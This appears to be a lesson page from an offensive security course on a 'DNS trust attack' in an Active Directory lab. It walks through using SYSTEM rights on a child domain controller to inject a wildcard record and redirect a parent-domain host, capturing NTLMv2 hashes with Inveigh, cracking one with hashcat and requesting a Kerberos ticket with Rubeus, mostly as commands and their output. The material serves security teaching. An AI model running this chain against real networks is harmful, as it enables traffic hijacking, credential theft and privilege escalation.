Saltar a contenido

DNS Trust Attack

The DNS trust attack exploits the privileges granted to the EDCs (Enterprise Domain Controllers) on various DNS containers. The DNS trust attack involves the unauthorized creation, deletion, and modification of DNS records within any of the database locations of a parent domain from within a child domain. These actions can have serious consequences, such as enabling denial-of-service (DoS) attacks or facilitating man-in-the-middle (MiTM) attacks.

DNS records are stored in three distinct locations within the Active Directory:

  1. DomainDnsZones partition (CN=MicrosoftDNS,DC=DomainDnsZones,DC=root,DC=local)
  2. ForestDnsZones partition (CN=MicrosoftDNS,DC=ForestDnsZones,DC=root,DC=local)
  3. Domain partition (CN=MicrosoftDNS,CN=System,DC=root,DC=local)

These locations represent different areas where DNS records are stored and managed within the Active Directory environment.

It is possible to change DNS records on the parent domain by leveraging SYSTEM rights on a child domain controller (DC). When a child DC has SYSTEM rights, it possesses elevated privileges within the domain, allowing it to modify DNS records in the parent domain. With these elevated rights, an attacker can exploit the trust relationship between the child and parent domains to gain access to the parent domain's DNS infrastructure. They can then make unauthorized changes to DNS records, potentially leading to various security vulnerabilities, such as DNS spoofing, traffic redirection, or Denial-of-Service (DoS) attacks.

image

By gaining access to and manipulating DNS records in any of the specified database locations, an attacker can disrupt the normal functioning of the DNS system or redirect network traffic to their own malicious servers. This can lead to service interruptions, data breaches, and unauthorized access to sensitive information.

DNS Wildcard Injection

When a wildcard record is created, the DNS server utilizes this record to respond to name requests that don't precisely match any specific records within the zone. A wildcard record acts as a catch-all mechanism for DNS queries. If a requested domain name does not have an exact match in the DNS zone, the wildcard record will be used to provide a response. This allows the DNS server to handle requests for non-existent or undefined subdomains by using the wildcard entry as a default response. Attackers can exploit wildcard records to redirect or manipulate network traffic by creating malicious DNS entries that match the wildcard pattern. This can lead to unauthorized access, phishing attacks, or the interception of sensitive information.

As SYSTEM on a child DC, an attacker can inject wildcard record (DC=*, DC=inlanefreight.ad, CN=MicrosoftDNS, DC=DomainDNSZones, DC=inlanefreight, DC=ad) in parent domain and point it to an attacker controlled IP such that all non-existent DNS records for parent domain (*.inlanefreight.ad) will point to an IP controlled by attacker.

Resolve Non-existing DNS Name

PS C:\Tools> Resolve-DNSName TEST1.inlanefreight.ad
Resolve-DNSName : TEST1.inlanefreight.ad : DNS name does not exist
At line:1 char:1
+ Resolve-DNSName TEST1.inlanefreight.ad
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo          : ResourceUnavailable: (TEST1.inlanefreight.ad:String) [Resolve-DnsName], Win32Exception
+ FullyQualifiedErrorId : DNS_ERROR_RCODE_NAME_ERROR,Microsoft.DnsClient.Commands.ResolveDnsName

Now, we'll introduce a wildcard (*) to the A record within the parent domain, ensuring that all non-existing domain names resolve to the specified IP address. Using Powermad, we can seamlessly implement this wildcard injection within the parent domain, thereby automatically directing traffic to the IP address associated with the Child DC.

Open PowerShell as SYSTEM

C:\Tools\> .\PsExec -s -i powershell

Adding Wildcard DNS Record

PS C:\Tools> Import-module .\Powermad.ps1
PS C:\Tools> New-ADIDNSNode -Node * -domainController DC01.inlanefreight.ad -Domain inlanefreight.ad -Zone inlanefreight.ad -Tombstone -Verbose
VERBOSE: [+] Forest = INLANEFREIGHT.AD
VERBOSE: [+] Distinguished Name = DC=*,DC=inlanefreight.ad,CN=MicrosoftDNS,DC=DomainDNSZones,DC=inlanefreight,DC=ad
VERBOSE: [+] Data = 172.16.210.3
VERBOSE: [+] DNSRecord = 04-00-01-00-05-F0-00-00-5D-00-00-00-00-00-02-58-00-00-00-00-1E-9B-38-00-AC-10-D2-03
[+] ADIDNS node * added

In the above command, -Tombstone argument is utilized to place the created Wildcard node in a state that permits it to be altered or completely tombstoned by any authenticated user. It's also important to note that we didn't explicitly specify any IP address using the argument -Data 172.16.210.3, as it automatically defaults to the source IP address.

After executing the command, a new A record is appended to the parent domain, as depicted in the screenshot below, featuring a wildcard (*) entry:

image

image

With the addition of the wildcard record, the DNS configuration now allows for the resolution of any non-existing domain within the parent domain, redirecting them to the IP address specified in the wildcard entry, which in this case is child DC. This broad redirection capability poses significant security risks, as it enables potential attackers to intercept and manipulate traffic intended for non-existent domains.

Resolve Non-existing DNS Name

PS C:\Tools> Resolve-DNSName TEST2.inlanefreight.ad
Name                                           Type   TTL   Section    IPAddress
----                                           ----   ---   -------    ---------
TEST2.inlanefreight.ad                         A      599   Answer     172.16.210.3  

PS C:\Tools> Resolve-DNSName ANYTHING.inlanefreight.ad
Name                                           Type   TTL   Section    IPAddress
----                                           ----   ---   -------    ---------
ANYTHING.inlanefreight.ad                      A      599   Answer     172.16.210.3

As seen from the provided output, each non-existent domain name is now successfully resolved to the IP address of the Child Domain Controller. This configuration opens avenues for malicious actors to abuse the system, leading to various security vulnerabilities within the domain infrastructure.

Arbitrary DNS Record Modification from Child Domain

It is also possible to modify the IP address associated with an already existing DNS record in the parent domain from within the child domain.

Suppose there's a development server named DEV01 in the parent domain which hosts a share called dev_share, and users typically access this share by using the path \\DEV01.INLANEFREIGHT.AD\dev_share. Now, if an attacker manages to gain control over the DNS server for the domain INLANEFREIGHT.AD, he can create a DNS record, like an A record, that redirects the hostname DEV01.INLANEFREIGHT.AD to an IP address of their choosing.

As a result, when users try to access \\DEV01.INLANEFREIGHT.AD\dev_share, they'll unknowingly be redirected to the IP address specified by the attacker. This redirection opens up an opportunity for the attacker to intercept traffic. They can employ tools like Responder or Inveigh to capture NTLM hashes of the users attempting to connect to the share which allows the attacker to potentially gain unauthorized access to sensitive information or escalate their privileges within the network.

This redirection can have serious implications, potentially leading to denial-of-service (DoS) attacks, man-in-the-middle (MiTM) attacks, or even complete compromise of the server. The attacker gains control over the traffic intended for the legitimate server and can intercept or manipulate it for malicious purposes.

A SYSTEM in child DC can view all the DNS Records present in Parent domain.

Open PowerShell as SYSTEM

C:\Tools\> .\PsExec -s -i powershell

Enumerate DNS records in Parent Domain

PS C:\Tools> Get-DnsServerResourceRecord -ComputerName DC01.inlanefreight.ad -ZoneName inlanefreight.ad -Name "@"

HostName                  RecordType Type       Timestamp            TimeToLive      RecordData
--------                  ---------- ----       ---------            ----------      ----------
@                         A          1          3/4/2024 3:00:00 PM  00:10:00        172.16.210.99
@                         NS         2          0                    01:00:00        dc01.inlanefreight.ad.
@                         SOA        6          0                    01:00:00        [95][dc01.inlanefreight.ad.][ho...
dc01                      A          1          0                    01:00:00        172.16.210.99
DEV01                     A          1          0                    01:00:00        172.16.210.7

As seen from the output, the DNS record of DEV01 which resides in parent domain is currently pointing towards IP 172.16.210.7. Additionally, we can also use the command Resolve-DnsName to perform a DNS query for the specified name.

Enumerate DNS Record for DEV01

PS C:\Tools> Resolve-DnsName -Name DEV01.inlanefreight.ad -Server DC01.INLANEFREIGHT.AD
Name                                           Type   TTL   Section    IPAddress
----                                           ----   ---   -------    ---------
DEV01.inlanefreight.ad                         A      599   Answer     172.16.210.7

Now, leveraging PowerShell with the SYSTEM privileges in the Child DC, we can manipulate the DNS record for DEV01 and replace it with the IP address of the Child DC (172.16.210.3). Moreover, we will adjust the Time-to-Live (TTL) setting to an exceptionally low value, such as 1 second, to ensure rapid propagation of the updated record throughout the network infrastructure.

Modify DNS Record for DEV01

PS C:\Tools> $Old = Get-DnsServerResourceRecord -ComputerName DC01.INLANEFREIGHT.AD -ZoneName inlanefreight.ad -Name DEV01
PS C:\Tools> $New = $Old.Clone()
PS C:\Tools> $TTL = [System.TimeSpan]::FromSeconds(1)
PS C:\Tools> $New.TimeToLive = $TTL
PS C:\Tools> $New.RecordData.IPv4Address = [System.Net.IPAddress]::parse('172.16.210.3')
PS C:\Tools> Set-DnsServerResourceRecord -NewInputObject $New -OldInputObject $Old -ComputerName DC01.INLANEFREIGHT.AD -ZoneName inlanefreight.ad
PS C:\Tools> Get-DnsServerResourceRecord -ComputerName DC01.inlanefreight.ad -ZoneName inlanefreight.ad -Name "@"

HostName                  RecordType Type       Timestamp            TimeToLive      RecordData
--------                  ---------- ----       ---------            ----------      ----------
@                         A          1          3/15/2024 5:00:00 PM 00:10:00        172.16.210.99
@                         NS         2          0                    01:00:00        dc01.inlanefreight.ad.
@                         SOA        6          0                    01:00:00        [97][dc01.inlanefreight.ad.][ho...
dc01                      A          1          0                    00:20:00        172.16.210.99
DEV01                     A          1          0                    00:00:01        172.16.210.3

If we check the new DNS record for DEV01, it should point to IP of the Child Domain Controller (172.16.210.3).

Verify the IP Change for DEV01

PS C:\Tools> Resolve-DnsName -Name DEV01.inlanefreight.ad -Server DC01.INLANEFREIGHT.AD
Name                                           Type   TTL   Section    IPAddress
----                                           ----   ---   -------    ---------
DEV01.inlanefreight.ad                         A      599   Answer     172.16.210.3

We can now execute Inveigh on the child DC to intercept NTLM hashes from users attempting to access \\DEV01.INLANEFREIGHT.AD\dev_share. This approach enables us to capture authentication credentials, potentially granting unauthorized access to sensitive resources within the network.

Start Inveigh for Hash Interception

PS C:\Tools> Import-Module .\Inveigh.ps1
PS C:\Tools> Invoke-Inveigh Y -NBNS Y -ConsoleOutput Y -FileOutput Y -SMB Y

[*] Inveigh 1.506 started at 2024-03-15T17:27:42
[+] Elevated Privilege Mode = Enabled
[+] Primary IP Address = 172.16.210.3
[+] Spoofer IP Address = 172.16.210.3
[+] ADIDNS Spoofer = Disabled
[+] DNS Spoofer = Enabled
[+] DNS TTL = 30 Seconds
[+] LLMNR Spoofer = Enabled
[+] LLMNR TTL = 30 Seconds
[+] mDNS Spoofer = Disabled
[+] NBNS Spoofer For Types 00,20 = Enabled
[+] NBNS TTL = 165 Seconds
[+] SMB Capture = Enabled
[+] HTTP Capture = Enabled
[+] HTTPS Capture = Disabled
[+] HTTP/HTTPS Authentication = NTLM
[+] WPAD Authentication = NTLM
[+] WPAD NTLM Authentication Ignore List = Firefox
[+] WPAD Response = Enabled
[+] Kerberos TGT Capture = Disabled
[+] Machine Account Capture = Disabled
[+] Console Output = Full
[+] File Output = Enabled
[+] Output Directory = C:\Tools
WARNING: [!] Run Stop-Inveigh to stop
[*] Press any key to stop console output
[+] [2024-03-15T17:27:47] TCP(135) SYN packet detected from 172.16.210.99:55275
[+] [2024-03-15T17:27:47] TCP(49667) SYN packet detected from 172.16.210.99:55276
[+] [2024-03-15T17:27:48] TCP(135) SYN packet detected from 172.16.210.99:55288
[+] [2024-03-15T17:27:48] TCP(49667) SYN packet detected from 172.16.210.99:55289
[+] [2024-03-15T17:27:49] mDNS(QM) request DC01.local received from 172.16.210.99 [spoofer disabled]
[+] [2024-03-15T17:27:49] LLMNR request for DC01 received from 172.16.210.99 [response sent]
[+] [2024-03-15T17:27:50] DNS request for ctldl.windowsupdate.com received from 172.16.210.99 [response sent]
[+] [2024-03-15T17:27:50] DNS request for ctldl.windowsupdate.com sent to 172.16.210.99 [outgoing query]
[+] [2024-03-15T17:28:13] TCP(445) SYN packet detected from 172.16.210.99:55304
[+] [2024-03-15T17:28:13] SMB(445) negotiation request detected from 172.16.210.99:55304
[+] [2024-03-15T17:28:14] Domain mapping added for DEV to dev.INLANEFREIGHT.AD
[+] [2024-03-15T17:28:14] SMB(445) NTLM challenge EEF02F19D6E9FA07 sent to 172.16.210.99:55304
[+] [2024-03-15T17:28:14] SMB(445) NTLMv2 captured for INLANEFREIGHT\buster from 172.16.210.99(DC01):55304:             buster::INLANEFREIGHT:EEF02F19D6E9FA07:93F3C74E204B4158A07170AC7C1F7949:01010000000000005539A1112877DA01D31374BC09033A870000000002000600440045<SNIP>
WARNING: [!] [2024-03-15T17:28:14] SMB(445) NTLMv2 written to Inveigh-NTLMv2.txt

Crack the NTLMv2 Hash With Hashcat

$ hashcat -m 5600 buster_ntlmv2 /usr/share/wordlists/rockyou.txt 

hashcat (v6.1.1) starting...

<SNIP>

Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

buster::INLANEFREIGHT:EEF02F19D6E9FA07:93F3C74E204B4158A07170AC7C1F7949:01010000000000005539A1112877DA01D31374BC09033A870000000002000600440045005600010008004400430030003200040028006400650076002E0049004E004C0041004E00450046005200450049004700480054002E00410044000300320044004300300032002E006400650076002E0049004E004C0041004E004500<SNIP>

Session..........: hashcat
Status...........: Cracked
Hash.Name........: NetNTLMv2
Hash.Target......: BUSTER::INLANEFREIGHT:EEF02F19D6E9FA07:93F3C74E204B4158A0717...000000
Time.Started.....: Mon Mar 28 15:20:30 2022 (11 secs)
Time.Estimated...: Mon Mar 28 15:20:41 2022 (0 secs)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:  1086.9 kH/s (2.64ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests
Progress.........: 10967040/14344385 (76.46%)
Rejected.........: 0/10967040 (0.00%)
Restore.Point....: 10960896/14344385 (76.41%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#1....: L0VEABLE -> Kittikat

Having acquired the credentials, we can utilize tools like Rubeus to generate a Ticket Granting Ticket (TGT). This enables us to potentially escalate privileges within the network, granting access to additional resources and compromising the overall security posture.

Request a TGT for Buster

PS C:\Tools> .\Rubeus.exe asktgt /user:buster /domain:inlanefreight.ad /password:<SNIP> /ptt
______        _
(_____ \      | |
_____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v2.2.3
[*] Action: Ask TGT
[*] Using rc4_hmac hash: 2BDCAD6D2082323222A29...SNIP...
[*] Building AS-REQ (w/ preauth) for: 'inlanefreight.ad\buster'
[*] Using domain controller: 172.16.210.99:88
[+] TGT request successful!
[*] base64(ticket.kirbi):

doIFljCCBZKgAwIBBaEDAgEWooIEoTCCBJ1hggSZMIIElaADAgEFoRIbEElOTEFORUZSRUlHSFQuQUSi
JTAjoAMCAQKhHDAaGwZrcmJ0Z3QbEGlubGFuZWZyZWlnaHQuYWSjggRRMIIETaADAgESoQMCAQKiggQ/
BIIEOw53a5E36M6gjxgzDLOlNVpL4Jb3Bpyu5UZbUpcH8cyJEl8y1K8VF3soZe41R39/WwqlD1hg+a02
MM8ZunUljiywE7Wc3vmaNJAuLOnHh+WOaDEFZuCEL3TurMU6Qzhrx6tTIQwyCzZhc6lAtll46NcvbfTM
uAGX+z6emsX46OLzw+jakRvqT9bcxgKgD3Z97WzWM/3ZWyzjsaMZQXgEjlrSc/r7TV0xiRb7JUxk3pdf
rbp4F11Sr+/3xS5naQ4YgdBCs/5rKxhjBJTDLhc4Eye8mGEAFS3NvHerwwbpF26FYjsqoNMzjRSaMc5y
7Ym16waBgyGXRPeyPpf8bZTr6t8Z/piyIFTe/sjSV7d7/F3MhjI+3aJtijhkVW8qoXSQxrTTrLTOCY4B
<SNIP>

[+] Ticket successfully imported!
ServiceName              :  krbtgt/inlanefreight.ad
ServiceRealm             :  INLANEFREIGHT.AD
UserName                 :  buster
UserRealm                :  INLANEFREIGHT.AD
StartTime                :  3/15/2024 5:33:21 PM
EndTime                  :  3/16/2024 3:33:21 AM
RenewTill                :  3/22/2024 5:33:21 PM
Flags                    :  name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType                  :  rc4_hmac
Base64(key)              :  om4ydjl4ekcJaNLOr...SNIP...
ASREP (key)              :  2BDCAD6D2082323222A...SNIP...

Moving On

In this section, we delved into the exploitation of the DNS trust attack within a child domain, enabling the alteration of DNS entries within the parent domain. As we move forward, our attention turns to another method known as Abusing Foreign Group & ACL Principals. Here, our primary focus will be on examining the users and groups within child domains that possess group memberships and Access Control Lists (ACLs) in the parent domain.